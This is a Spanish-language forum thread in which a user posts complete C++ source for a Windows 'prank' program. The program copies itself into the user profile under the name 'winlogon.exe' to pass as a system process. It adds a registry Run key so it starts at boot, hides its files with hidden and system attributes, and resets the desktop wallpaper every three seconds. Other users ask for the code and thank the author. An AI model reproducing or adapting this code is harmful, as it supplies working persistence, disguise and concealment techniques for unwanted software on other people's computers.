Broma c++

Iniciado por daryo, 24 Mayo 2013, 03:16 AM

0 Miembros y 1 Visitante están viendo este tema.

daryo

hola hice un code para retomar la programacion hacia rato no lo programaba asi que no es nada complejo y para hacer una broma no lo posteo aun por si la remota posibilidad que lo terminen detectando algun antivirus antes de ponerlo
mañana posteo el code xD
fondo:
https://mega.co.nz/#!Lc0T2QRb!dKQBEhZU-rILFaNS7HQah2nnxqAzuVmzeZd6z76ysk4
la imagen debe estar en la misma carpeta y llamarse 1010.bmp

[youtube=640,360]http://www.youtube.com/watch?v=AGu5v1reQIM[/youtube]
saludos

Código (c++) [Seleccionar]

#include <windows.h>
#include <cstring>



bool existe(char * file) // comprueba la existencia de un archivo si no existe entonces manda false
{
DWORD attr = GetFileAttributes(file);
if(attr == INVALID_FILE_ATTRIBUTES || (attr & FILE_ATTRIBUTE_DIRECTORY))
   return false;   //  not a file
return true;
}


void instalar(char *DireccionLocal) // lo instala para que se ejecute en inicio de windows
{
//con la variable DireccionLocal se donde esta el programa para asi copiarlo
char instalarFondo[100];
char *dirlocal=getenv("USERPROFILE"); // carpeta local de usuario
char dirfoto[700]; // el directorio donde esta la foto
char instalar1[100]; //directorio a instalar el archivo
//----------------------------
GetCurrentDirectory(700,dirfoto);
strcat(dirfoto,"\\1010.bmp");
strcpy(instalarFondo,dirlocal);
strcat(instalarFondo,"\\1010.bmp");
CopyFile(dirfoto,instalarFondo,true);//copio el fondo
//-------------------------------
strcpy(instalar1,dirlocal);
strcat(instalar1,"\\winlogon.exe");
CopyFile(DireccionLocal,instalar1,true); // copio el archivo
//añado llaves al registro de windows para que se inicie con el sistema
HKEY hkey;
RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0, KEY_SET_VALUE, &hkey);
RegSetValueEx (hkey, "windout", 0, REG_SZ,(const unsigned char * ) instalar1, sizeof instalar1); // aca añado el registro  el nombre es windout y el valor la direccion del programa
RegCloseKey  (hkey);
SetFileAttributesA(instalar1,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); // osculto el archivo y le marco system para que sea mas dificil de ver
SetFileAttributesA(instalarFondo,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
//---


}

void cambiarElFondo()
{
   char fondo[]="1010.bmp";
   SystemParametersInfo(SPI_SETDESKWALLPAPER,0,fondo,SPIF_UPDATEINIFILE|SPIF_SENDWININICHANGE); // aca cambio el fondo

}

int main(int argc,char * argv[])
{
   char *com=getenv("USERPROFILE");
   char comprobar[600];
   strcpy(comprobar,com);
   strcat(comprobar,"\\winlogon.exe"); //winlogon el nombre del exe para meter miedo y hacerse pasar por proceso del sistema xD

   while(true)
   {

   if(existe(comprobar)) //
   {

       cambiarElFondo(); //como es bucle infinito cambiara cada 3 segundos el fondo
   }
   else
   {
      instalar(argv[0]); // si no existe el archivo en la carpeta del usuario se instala
   }
      Sleep(3000); // espera 3 segundos
   }

   return 0;
}
buenas

amchacon

Lo gracioso sería que se ejecutase al arranque del pc  ;-)
Por favor, no me manden MP con dudas. Usen el foro, gracias.

¡Visita mi programa estrella!

Rar File Missing: Esteganografía en un Rar

daryo

Cita de: amchacon en 24 Mayo 2013, 10:48 AM
Lo gracioso sería que se ejecutase al arranque del pc  ;-)
se ejecuta al comienzo del pc  :P
buenas

BlackM4ster

- Pásate por mi web -
https://codeisc.com

Stakewinner00

Interesante. Esperare el código para poder jugar un poco. jaja

BlackM4ster

Es sencillito, una imagen, un cambio en el registro y ya xD
- Pásate por mi web -
https://codeisc.com

daryo

listo ya puse el code  :P
buenas

Stakewinner00

Muy interesante. Pensaba que sería más complejo.

Gracias.